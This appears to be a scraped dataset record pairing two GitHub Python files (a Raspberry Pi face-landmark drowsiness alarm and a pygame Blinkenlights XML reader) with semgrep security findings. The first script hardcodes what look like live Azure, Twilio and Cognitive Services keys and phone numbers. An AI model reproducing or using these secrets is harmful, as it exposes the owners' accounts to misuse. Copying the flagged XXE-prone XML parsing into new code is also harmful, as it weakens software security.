[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
evaluation_nuclei_f1score.py
/tools/evaluation/evaluation_nuclei_f1score.py
MeowMeowLady/InstanceSeg-Without-Voxelwise-Labeling
MIT
2024-11-18T22:24:15.571911+00:00
1,546,964,957,000
ff713d612237053437dec16cd6b184b2dbe87dcc
2
{ "blob_id": "ff713d612237053437dec16cd6b184b2dbe87dcc", "branch_name": "refs/heads/master", "committer_date": 1546964957000, "content_id": "20219bdc27d4ceacef6c50b981bbe7c740c0857b", "detected_licenses": [ "MIT" ], "directory_id": "fae47e63ae687b0961bb0b9143ffc9ab7d954c98", "extension": "py", "filename": "Face_Landmarks.py", "fork_events_count": 1, "gha_created_at": 1506261963000, "gha_event_created_at": 1506261963000, "gha_language": null, "gha_license_id": null, "github_id": 104648567, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4740, "license": "MIT", "license_type": "permissive", "path": "/Face_Landmarks.py", "provenance": "stack-edu-0054.json.gz:586918", "repo_name": "bendemers/Iris", "revision_date": 1546964957000, "revision_id": "b3b08cf83ac37e75d2b4dca95c29ebc000f8ae43", "snapshot_id": "7b5b887fb91b2d3cfe3019aa11d9a0879e56060f", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/bendemers/Iris/b3b08cf83ac37e75d2b4dca95c29ebc000f8ae43/Face_Landmarks.py", "visit_date": "2021-10-10T08:54:48.909829" }
2.375
stackv2
import httplib, urllib, base64, json from flask import Flask #def eye_aspect(cords): from flask import Flask from twilio.rest import Client from picamera import PiCamera from datetime import datetime import time from azure.storage.blob import BlockBlobService from azure.storage.blob import ContentSettings camera = PiCamera() block_blob_service = BlockBlobService(account_name='irisdriving', account_key='xNhodNyQZdly5H/LcEVZxEUvS4e4yiXEDg+45Ybw114KxPswAz3vIHnfhfzkvwlLz2muqXl3DZI6cbXqptbb2Q==') def callme(): account_sid = "AC22bf4ab1edd875930cc2be19249fb20f" auth_token = "e0bf551c89039c6b299854ce2c07eb26" client = Client(account_sid, auth_token) #Make the call call = client.api.account.calls\ .create(to="+19785006516", # Any phone number from_="+16177185216", # Must be a valid Twilio number url="http://twimlets.com/holdmusic?Bucket=com.twilio.music.ambient") print(call.sid) def imageCall(): timeCreated = datetime.now().strftime("%Y-%m-%d_%H.%M.%S.jpg") filename = "pircam-" + timeCreated camera.capture(filename) print("picture taken") block_blob_service.create_blob_from_path( 'pipictures', filename, filename, content_settings=ContentSettings(content_type='image/jpeg')) time.sleep(1) return str("https://irisdriving.blob.core.windows.net/pipictures/" + filename) def main(img): subscription_key = '42f58775935b46e4a363bef2be2187dd' uri_base = 'westcentralus.api.cognitive.microsoft.com' headers = { 'Content-Type': 'application/json', 'Ocp-Apim-Subscription-Key': subscription_key, } params = urllib.urlencode({ 'returnFaceId': 'true', 'returnFaceLandmarks': 'true', 'returnFaceAttributes': 'age,gender,headPose,smile,facialHair,glasses,emotion,hair,makeup,occlusion,accessories,blur,exposure,noise', }) # The URL of a JPEG image to analyze. bag = ['jpg','JPG','png','PNG'] body = str({'url':img}) try: conn = httplib.HTTPSConnection('westcentralus.api.cognitive.microsoft.com') conn.request("POST", "/face/v1.0/detect?%s" % params, body, headers) response = conn.getresponse() print(response) data = response.read() parsed = json.loads(data) attr = parsed[0]["faceAttributes"]['emotion'] glass_flag = parsed[0]["faceAttributes"]['glasses'] # check NoGlasses occ = parsed[0]["faceAttributes"]['occlusion']['eyeOccluded'] landmarks = parsed[0]["faceLandmarks"] if not occ : eRT = landmarks["eyeRightTop"] eRB = landmarks["eyeRightBottom"] eLT = landmarks["eyeLeftTop"] eLB = landmarks["eyeLeftBottom"] #print(eRB,eRT,eLB,eLT) aspectR = (eRB['y']-eRT['y']) aspectL = (eLB['y']-eLT['y']) print("Aspect Ratios Left and Right (T/B)") print(aspectL,aspectR) # check 1 on 4 before print("Emotions") for at in attr.keys(): print(str(at),attr[at]) #print(occ) #print ("Response:") #print(parsed) #print(type(parsed)) conn.close() return (aspectL,aspectR) else: print("You've probably got your glasses on , Please make sure you remove them and then submit your face samples.") return (-1,-1) except Exception as e: print("Check Image Url . ") def mainPic(): li = [] print("Take picture looking directly into the camera") time.sleep(3) print("3") time.sleep(1) print("2") time.sleep(1) print("Smile") li.append(imageCall()) print("Take picture looking directly at the camera with your eyes closed") time.sleep(3) print("3") time.sleep(1) print("2") time.sleep(1) print("Smile") li.append(imageCall()) print("Take picture looking directly at the camera with your eyes normal") time.sleep(3) print("3") time.sleep(1) print("2") time.sleep(1) print("Smile") li.append(imageCall()) return li def infi(refx,refy): li = [] while True: link = imageCall() x,y = main(link) li.append((x,y)) if(x<refx or y<refy): print(li) callme() print("GONE") time.sleep(1) if __name__ == "__main__": li = mainPic() x,y = 0 ,0 for i in li: tmp = main(i) if tmp == (-1,-1): print("FATAL") exit() x+=tmp[0] y+=tmp[1] refx=x//3 refy=y//3 print(refx,refy) infi(refx,refy)
165
27.73
169
15
1,326
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_46621b9addc81e32_2b0d6312", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 41, "col": 5, "offset": 1294}, "end": {"line": 41, "col": 18, "offset": 1307}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.httpsconnection-detected_46621b9addc81e32_2aa0fbe1", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.httpsconnection-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "remediation": "", "location": {"file_path": "unknown", "line_start": 67, "line_end": 67, "column_start": 16, "column_end": 84, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.httpsconnection-detected", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 67, "col": 16, "offset": 2066}, "end": {"line": 67, "col": 84, "offset": 2134}, "extra": {"message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "metadata": {"owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "cwe": ["CWE-295: Improper Certificate Validation"], "references": ["https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_46621b9addc81e32_3b030a16", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 112, "line_end": 112, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 112, "col": 5, "offset": 3650}, "end": {"line": 112, "col": 18, "offset": 3663}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_46621b9addc81e32_28ce03d7", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 114, "line_end": 114, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 114, "col": 5, "offset": 3683}, "end": {"line": 114, "col": 18, "offset": 3696}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_46621b9addc81e32_b19e1062", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 116, "line_end": 116, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 116, "col": 5, "offset": 3716}, "end": {"line": 116, "col": 18, "offset": 3729}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_46621b9addc81e32_ad3cea08", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 121, "line_end": 121, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 121, "col": 5, "offset": 3860}, "end": {"line": 121, "col": 18, "offset": 3873}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_46621b9addc81e32_8c712dab", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 123, "line_end": 123, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 123, "col": 5, "offset": 3893}, "end": {"line": 123, "col": 18, "offset": 3906}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_46621b9addc81e32_2bce5de0", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 125, "line_end": 125, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 125, "col": 5, "offset": 3926}, "end": {"line": 125, "col": 18, "offset": 3939}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_46621b9addc81e32_553a674d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 129, "line_end": 129, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 129, "col": 5, "offset": 4069}, "end": {"line": 129, "col": 18, "offset": 4082}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_46621b9addc81e32_a184b92e", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 131, "line_end": 131, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 131, "col": 5, "offset": 4102}, "end": {"line": 131, "col": 18, "offset": 4115}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_46621b9addc81e32_8fc4a9f1", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 133, "line_end": 133, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 133, "col": 5, "offset": 4135}, "end": {"line": 133, "col": 18, "offset": 4148}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_46621b9addc81e32_774b036d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 149, "line_end": 149, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/46621b9addc81e32.py", "start": {"line": 149, "col": 9, "offset": 4444}, "end": {"line": 149, "col": 22, "offset": 4457}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
12
true
[ "CWE-295" ]
[ "rules.python.lang.security.audit.httpsconnection-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 67 ]
[ 67 ]
[ 16 ]
[ 84 ]
[ "A03:2017 - Sensitive Data Exposure" ]
[ "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnecti...
[ 5 ]
[ "LOW" ]
[ "LOW" ]
Face_Landmarks.py
/Face_Landmarks.py
bendemers/Iris
MIT
2024-11-18T22:24:18.069369+00:00
1,430,160,636,000
5b90fcc48727c2d925cb358d6ad87cc18919627a
3
{ "blob_id": "5b90fcc48727c2d925cb358d6ad87cc18919627a", "branch_name": "refs/heads/master", "committer_date": 1430160636000, "content_id": "d2df38d51aaf51339ad65247da6365f1472ae55a", "detected_licenses": [ "MIT" ], "directory_id": "a8cabacee88d8172e0aa4b370867b83e73d6cc55", "extension": "py", "filename": "blinkentanz.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 32312025, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6565, "license": "MIT", "license_type": "permissive", "path": "/blinkentanz.py", "provenance": "stack-edu-0054.json.gz:586948", "repo_name": "trobanga/pifidelity", "revision_date": 1430160636000, "revision_id": "7b56f5eef2377d2cdf320a6aae9ef0d233d99964", "snapshot_id": "0eb7b85fd2738bb1c376c9722b0f892f2cbcc626", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/trobanga/pifidelity/7b56f5eef2377d2cdf320a6aae9ef0d233d99964/blinkentanz.py", "visit_date": "2020-05-02T18:55:15.787924" }
2.84375
stackv2
# -*- coding: utf-8 -*- import pygame import os import xml.etree.ElementTree as ET from pygame.locals import * from constants import * class BlinkenMemory(object): def __init__(self, ncols, nrows): # self._map = [[False for i in range(ny)] for j in range(nx)] self.frame = [[BLACK for i in range(ncols)] for j in range(nrows)] self.frame_duration = 100 # in ms def __getitem__(self, idx): return self.frame[idx] def print_map(self): for i in self._map: for j in i: print(j) print() def get_pixel(self, ix, iy): return self.frame[iy][ix] class Blinkentanz(pygame.Surface): """ Draws area for Blinkenlights. Reads BMLs. """ def __init__(self, width, height, fcolor_on=WHITE, fcolor_off=BLACK, bcolor=GRAY, orientation=3): # width and height of total available area self.tot_width = width self.tot_height = height self.orientation = orientation # nof of pixels in x an y self.nx = 1 self.ny = 1 # bmls self.metadata = dict() self.idx_bframe = 0 self.nof_bframes = 1 self.bframes = [BlinkenMemory(self.nx, self.ny)] # colors self.fcolor_on = fcolor_on self.fcolor_off = fcolor_off self.bcolor = bcolor def update_pixel_size(self): self.pixel_size = min(int(self.tot_width / self.nx), int(self.tot_height / self.ny)) self.xoffset = (self.tot_width - self.pixel_size * self.nx) / 2 self.yoffset = (self.tot_height - self.pixel_size * self.ny) / 2 self.field_size = (self.pixel_size * self.nx, self.pixel_size * self.ny) # width and height of area occupied by pixels self.width = self.nx * self.pixel_size + 1 self.height = self.ny * self.pixel_size + 1 super(Blinkentanz, self).__init__((self.width, self.height)) # calculate border for pixels self.pixel_border_ratio = 0.9 self.pixel_border_size = int(self.pixel_size * \ (1.-self.pixel_border_ratio)) self.pixel_border_size = max(self.pixel_border_size, 1) def get_frame_duration(self): """ Returns duration of current frame """ return self.bframes[self.idx_bframe].frame_duration def next(self, loop=False): """ Set frame idx to next and draw frame """ self.idx_bframe += 1 if self.idx_bframe >= self.nof_bframes: if loop: self.idx_bframe = 0 else: return 1 self.draw_dancefloor() return 0 def goto_frame(self, idx): """ Set frame idx and draw frame """ if idx < self.nof_bframes and idx >= 0: self.idx_bframe = idx self.draw_dancefloor() def draw_background(self): self.fill(self.bcolor) def draw_dancefloor(self): """ Draws whole blinkenlights area. """ for ix in range(self.nx): for iy in range(self.ny): self.draw_pixel(ix, iy) def draw_pixel(self, ix, iy): if self.orientation == 3: x = (self.nx - ix - 1) * self.pixel_size y = (self.ny - iy - 1) * self.pixel_size else: x = ix * self.pixel_size y = iy * self.pixel_size fg = pygame.Rect(x + self.pixel_border_size, y + self.pixel_border_size, self.pixel_size - self.pixel_border_size, self.pixel_size - self.pixel_border_size) pygame.draw.rect(self, self.bframes[self.idx_bframe].get_pixel(ix, iy), fg) def read_bml(self, f): """ Read bml format """ f = os.path.abspath(f) data = ET.parse(f) r = data.getroot() if(r.tag != 'blm'): print('no bml data file') return settings = r.attrib self.nx = int(settings["width"]) self.ny = int(settings["height"]) channels = settings.get("channels") if not channels: channels = 1 else: channels = int(channels) bits = int(settings.get("bits")) self.metadata = r.find('header') self.idx_bframe = -1 self.nof_bframes = 0 self.bframes = list() for frame in r.findall('frame'): self.bframes.append(BlinkenMemory(self.nx, self.ny)) self.idx_bframe += 1 self.nof_bframes += 1 for iy, row in enumerate(frame.findall('row')): def chunks(l, n): for i in range(0, len(l), n): yield l[i:i+n] if channels == 3: if bits > 4: raw_row_data_chunks = chunks(row.text, 6) else: raw_row_data_chunks = chunks(row.text, 3) for ix, c in enumerate(raw_row_data_chunks): if bits == 4: # will prob. never be the case k = 2**(8-bits) b = k - 1 c = [hex(k * int(x+x, 16) + b) for x in c] c = c[0] + c[1] + c[2] c = int(c, 16) if c > 0: self.bframes[self.idx_bframe][iy][ix] = c else: self.bframes[self.idx_bframe][iy][ix] = BLACK elif channels == 1: if bits > 4: print("Warning: not implemented yet") k = 2**(8-bits) b = k - 1 for ix, c in enumerate(row.text): c = k * int(c, 16) + b if c > b: self.bframes[self.idx_bframe][iy][ix] = (c, c, c) else: self.bframes[self.idx_bframe][iy][ix] = BLACK self.bframes[self.idx_bframe].frame_duration = \ int(frame.attrib["duration"]) self.update_pixel_size() self.draw_background() self.goto_frame(0)
193
33.02
83
26
1,518
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_fcef219d60c2548c_4e9f473d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 4, "line_end": 4, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/fcef219d60c2548c.py", "start": {"line": 4, "col": 1, "offset": 48}, "end": {"line": 4, "col": 35, "offset": 82}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_fcef219d60c2548c_9542ce17", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(f)", "location": {"file_path": "unknown", "line_start": 134, "line_end": 134, "column_start": 16, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmp10dxl77l/fcef219d60c2548c.py", "start": {"line": 134, "col": 16, "offset": 4100}, "end": {"line": 134, "col": 27, "offset": 4111}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(f)", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-611", "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.use-defused-xml-parse" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 4, 134 ]
[ 4, 134 ]
[ 1, 16 ]
[ 35, 27 ]
[ "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "The native Python `xml` library is vulnerable to XML Exter...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
blinkentanz.py
/blinkentanz.py
trobanga/pifidelity
MIT
2024-11-18T22:24:24.713978+00:00
1,591,400,105,000
9df452ab92111bd56347847a66c1f6b0df0490fb
3
